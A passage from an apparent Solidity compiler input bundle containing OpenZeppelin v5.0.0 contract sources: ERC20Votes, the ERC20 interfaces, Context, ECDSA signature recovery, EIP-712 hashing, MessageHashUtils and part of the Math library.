currentAllowance - value, false);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Votes.sol)\n\npragma solidity ^0.8.20;\n\nimport {ERC20} from \"../ERC20.sol\";\nimport {Votes} from \"../../../governance/utils/Votes.sol\";\nimport {Checkpoints} from \"../../../utils/structs/Checkpoints.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,\n * and supports token supply up to 2^208^ - 1, while COMP is limited to 2^96^ - 1.\n *\n * NOTE: This contract does not provide interface compatibility with Compound's COMP token.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getVotes} and {getPastVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n */\nabstract contract ERC20Votes is ERC20, Votes {\n /**\n * @dev Total supply cap has been exceeded, introducing a risk of votes overflowing.\n */\n error ERC20ExceededSafeSupply(uint256 increasedSupply, uint256 cap);\n\n /**\n * @dev Maximum token supply. Defaults to `type(uint208).max` (2^208^ - 1).\n *\n * This maximum is enforced in {_update}. It limits the total supply of the token, which is otherwise a uint256,\n * so that checkpoints can be stored in the Trace208 structure used by {{Votes}}. Increasing this value will not\n * remove the underlying limitation, and will cause {_update} to fail because of a math overflow in\n * {_transferVotingUnits}. An override could be used to further restrict the total supply (to a lower value) if\n * additional logic requires it. When resolving override conflicts on this function, the minimum should be\n * returned.\n */\n function _maxSupply() internal view virtual returns (uint256) {\n return type(uint208).max;\n }\n\n /**\n * @dev Move voting power when tokens are transferred.\n *\n * Emits a {IVotes-DelegateVotesChanged} event.\n */\n function _update(address from, address to, uint256 value) internal virtual override {\n super._update(from, to, value);\n if (from == address(0)) {\n uint256 supply = totalSupply();\n uint256 cap = _maxSupply();\n if (supply > cap) {\n revert ERC20ExceededSafeSupply(supply, cap);\n }\n }\n _transferVotingUnits(from, to, value);\n }\n\n /**\n * @dev Returns the voting units of an `account`.\n *\n * WARNING: Overriding this function may compromise the internal vote accounting.\n * `ERC20Votes` assumes tokens map to voting units 1:1 and this is not easy to change.\n */\n function _getVotingUnits(address account) internal view virtual override returns (uint256) {\n return balanceOf(account);\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function numCheckpoints(address account) public view virtual returns (uint32) {\n return _numCheckpoints(account);\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _checkpoints(account, pos);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves a `value` amount of tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/ECDSA.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n /**\n * @dev The signature derives the `address(0)`.\n */\n error ECDSAInvalidSignature();\n\n /**\n * @dev The signature has an invalid length.\n */\n error ECDSAInvalidSignatureLength(uint256 length);\n\n /**\n * @dev The signature has an S value that is in the upper half order.\n */\n error ECDSAInvalidSignatureS(bytes32 s);\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not\n * return address(0) without also returning an error description. Errors are documented using an enum (error type)\n * and a bytes32 providing additional information about the error.\n *\n * If no error is returned, then the address can be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n */\n function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {\n unchecked {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n // We do not check for an overflow here since the shift operation results in 0 or 1.\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n */\n function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError, bytes32) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.\n */\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/EIP712.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)\n\npragma solidity ^0.8.20;\n\nimport {MessageHashUtils} from \"./MessageHashUtils.sol\";\nimport {ShortStrings, ShortString} from \"../ShortStrings.sol\";\nimport {IERC5267} from \"../../interfaces/IERC5267.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose\n * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract\n * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to\n * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain\n * separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the\n * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.\n *\n * @custom:oz-upgrades-unsafe-allow state-variable-immutable\n */\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to\n // invalidate the cached domain separator if the chain id changes.\n bytes32 private immutable _cachedDomainSeparator;\n uint256 private immutable _cachedChainId;\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n ShortString private immutable _version;\n string private _nameFallback;\n string private _versionFallback;\n\n /**\n * @dev Initializes the domain separator and parameter caches.\n *\n * The meaning of `name` and `version` is specified in\n * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n *\n * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n * - `version`: the current major version of the signing domain.\n *\n * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n * contract upgrade].\n */\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n _version = version.toShortStringWithFallback(_versionFallback);\n _hashedName = keccak256(bytes(name));\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n _cachedDomainSeparator = _buildDomainSeparator();\n _cachedThis = address(this);\n }\n\n /**\n * @dev Returns the domain separator for the current chain.\n */\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));\n }\n\n /**\n * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n * function returns the hash of the fully encoded EIP712 message for this domain.\n *\n * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n *\n * ```solidity\n * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n * keccak256(\"Mail(address to,string contents)\"),\n * mailTo,\n * keccak256(bytes(mailContents))\n * )));\n * address signer = ECDSA.recover(digest, signature);\n * ```\n */\n function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n /**\n * @dev See {IERC-5267}.\n */\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n /**\n * @dev The name parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _name which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n /**\n * @dev The version parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _version which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)\n\npragma solidity ^0.8.20;\n\nimport {Strings} from \"../Strings.sol\";\n\n/**\n * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing.\n *\n * The library provides methods for generating a hash of a message that conforms to the\n * https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712]\n * specifications.\n */\nlibrary MessageHashUtils {\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing a bytes32 `messageHash` with\n * `\"\\x19Ethereum Signed Message:\\n32\"` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with\n * keccak256, although any bytes32 value can be safely used because the final digest will\n * be re-hashed.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix\n digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)\n }\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing an arbitrary `message` with\n * `\"\\x19Ethereum Signed Message:\\n\" + len(message)` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {\n return\n keccak256(bytes.concat(\"\\x19Ethereum Signed Message:\\n\", bytes(Strings.toString(message.length)), message));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x00` (data with intended validator).\n *\n * The digest is calculated by prefixing an arbitrary `data` with `\"\\x19\\x00\"` and the intended\n * `validator` address. Then hashing the result.\n *\n * See {ECDSA-recover}.\n */\n function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`).\n *\n * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with\n * `\\x19\\x01` and hashing the result. It corresponds to the hash signed by the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712.\n *\n * See {ECDSA-recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, hex\"19_01\")\n mstore(add(ptr, 0x02), domainSeparator)\n mstore(add(ptr, 0x22), structHash)\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n /**\n * @dev Muldiv operation overflow.\n */\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor, // Toward negative infinity\n Ceil, // Toward positive infinity\n Trunc, // Toward zero\n Expand // Away from zero\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, with an overflow flag.\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds towards infinity instead\n * of rounding towards zero.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n // Guarantee the same behavior as in a regular Solidity division.\n return a / b;\n }\n\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or\n * denominator == 0.\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by\n * Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0 = x * y; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator.\n // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.\n\n uint256 twos = denominator & (0 - denominator);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also\n // works in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded\n * towards zero.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10 of a positive value rounded towards zero.\n * Returns 0 if 